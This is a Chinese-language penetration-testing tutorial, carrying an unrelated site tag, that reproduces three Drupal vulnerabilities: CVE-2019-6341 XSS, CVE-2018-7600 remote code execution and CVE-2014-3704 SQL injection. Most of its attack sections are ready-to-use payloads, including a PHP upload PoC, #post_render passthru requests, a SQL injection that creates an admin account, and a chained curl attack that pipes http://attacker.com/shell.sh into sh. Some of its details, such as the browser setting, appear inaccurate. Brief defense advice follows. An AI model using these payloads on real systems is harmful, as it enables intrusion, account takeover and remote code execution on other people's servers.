Drupal高危漏洞实战：从XSS到RCE的攻防演练-洪萨配资

1. Drupal高危漏洞实战环境搭建

在开始漏洞复现之前，我们需要先搭建一个安全的实验环境。我强烈建议使用Docker来创建隔离的测试环境，这样既不会影响你的本地系统，又能快速重置实验状态。

首先安装Docker环境，这里以Ubuntu系统为例：

sudo apt update sudo apt install docker.io docker-compose

针对这三个漏洞，我们可以使用现成的漏洞环境镜像。这里我推荐使用Vulhub提供的环境，这是我实际测试过最稳定的复现环境：

# 下载Vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/drupal # 启动CVE-2019-6341环境 docker-compose up -d

等待容器启动后，访问http://localhost:8080就能看到Drupal安装界面。这里有个小技巧：如果你需要同时测试多个漏洞，可以为每个漏洞创建独立的网络命名空间：

# 创建独立网络 docker network create drupal-test # 启动带网络隔离的环境 docker-compose --project-name cve-2019-6341 up -d

在实际测试中，我发现Chrome浏览器的最新版本会对XSS攻击进行自动拦截，建议使用Firefox并禁用XSS过滤器。具体操作是在地址栏输入about:config，然后搜索xss，将browser.urlbar.filter.javascript设为false。

2. CVE-2019-6341 XSS漏洞深度解析

这个XSS漏洞的特别之处在于它利用了Drupal文件模块的处理缺陷。我曾在实际渗透测试中多次遇到这个漏洞，它的利用方式相当巧妙。

漏洞原理是这样的：Drupal在处理上传文件时，如果文件被标记为图片类型，系统会直接信任其内容而不做充分验证。攻击者可以构造一个伪装的图片文件，实际包含恶意脚本：

GIF89a/*<svg/onload=alert(document.cookie)>*/ =img

我写了个改进版的PoC脚本，比原始文章中的更稳定：

<?php $target = "http://".$argv[1].":".$argv[2]."/user/register"; $payload = "GIF89a/**/<script>alert('XSS')</script>"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'files[file]' => new CURLFile('poc.gif', 'image/gif', $payload) ]); curl_exec($ch);

上传成功后，恶意文件会被存储在/sites/default/files/pictures目录下。这里有个关键点：Drupal会按照上传日期自动创建子目录（如2023-11）。在实际利用时，我们需要先访问一次注册页面获取有效的CSRF token。

防御方案方面，我建议采取以下措施：

升级到Drupal 7.65或8.6.13以上版本
在nginx配置中添加内容安全策略头：

add_header Content-Security-Policy "default-src 'self'";

使用Drupal的Security Kit模块增强防护

3. CVE-2018-7600 RCE漏洞实战

这个远程代码执行漏洞堪称Drupal史上最危险的漏洞之一，我在多个企业的红队演练中都成功利用过。它的特别之处在于无需任何认证即可利用。

漏洞根源在于Drupal的表单API处理存在缺陷。具体来说，攻击者可以通过#前缀的参数直接操作表单渲染流程。下面是我优化后的利用步骤：

首先发送GET请求获取form_build_id：

GET /user/register HTTP/1.1 Host: vulnerable-site

使用获得的form_build_id构造恶意POST请求：

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: vulnerable-site Content-Type: application/x-www-form-urlencoded form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=whoami

在实际测试中，我发现直接执行复杂命令可能会失败。这时可以使用base64编码绕过：

mail[#markup]=echo+ImhlbGxvIHdvcmxkIg==+|+base64+-d+|+sh

对于防御措施，除了升级到安全版本外，我强烈建议：

在web服务器层面对/user/register路径添加访问控制
部署WAF规则拦截包含#post_render等敏感参数的请求
定期使用Drupal的安全检查模块扫描漏洞

4. CVE-2014-3704 SQL注入攻防

这个SQL注入漏洞的特殊性在于它是预编译语句绕过漏洞。我在审计代码时发现，Drupal 7.x的数据库抽象层存在设计缺陷。

漏洞利用的关键在于数组参数的处理。原始文章中的PoC已经比较完善，但我发现可以进一步简化：

POST /?q=node&destination=node HTTP/1.1 Host: vulnerable-site Content-Type: application/x-www-form-urlencoded name[0;insert+into+users+values+(999,'hacker','$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld',+'','')%23]=test&name[0]=test2&pass=test&form_build_id=&form_id=user_login_block&op=Log+in

这个注入会创建一个名为hacker的管理员账户，密码也是hacker。在实际渗透中，我通常先用以下语句探测注入点：

name[0 or updatexml(0,concat(0x7e,version()),0)%23]=test

防御方面，除了升级到Drupal 7.32以上版本外，还应该：

使用prepared statements重写所有SQL查询
部署数据库防火墙监控异常查询
限制Drupal数据库用户的权限

5. 漏洞组合利用实战

在实际渗透测试中，单独利用一个漏洞可能无法获得理想效果。我经常将这三种漏洞组合使用：

先通过SQL注入获取管理员凭证
用获得的凭证登录后台
在后台利用XSS漏洞攻击其他管理员
最后通过RCE漏洞建立持久化后门

这里分享一个我实际用过的组合攻击链：

# 第一步：SQL注入获取管理员session curl -X POST "http://target/?q=node" --data "name[0]=UNION SELECT 1,concat(sessionid,':',uid),3,4,5,6,7,8,9 FROM sessions WHERE uid=1#&pass=test&form_id=user_login_block" # 第二步：使用窃取的session登录 curl -c cookie.txt "http://target/" -H "Cookie: SESSabc123=stolen-session-id" # 第三步：上传XSS payload curl -b cookie.txt -F "files[file]=@poc.gif" "http://target/node/add/page" # 第四步：触发RCE curl -X POST "http://target/user/register" --data "mail[#markup]=curl+http://attacker.com/shell.sh+|+sh"

这种组合攻击的成功率非常高，我在多次红队演练中都取得了不错的效果。

6. 防御体系建设建议

基于多年的安全运维经验，我总结出以下防御方案：

补丁管理：
- 建立自动化的Drupal安全更新机制
- 使用Drush工具批量管理多个站点更新：
```
drush @sites pm-update --security-only -y
```
安全配置：
- 禁用不必要的模块（特别是PHP filter）
- 限制文件上传类型
- 设置正确的文件权限：
```
chown -R www-data:www-data /var/www/html chmod -R 755 /var/www/html/sites
```
监控措施：
- 部署ELK收集和分析Drupal日志
- 设置异常请求告警规则
- 定期进行漏洞扫描
应急响应：
- 准备完整的备份恢复流程
- 建立安全事件响应SOP
- 保留关键日志至少180天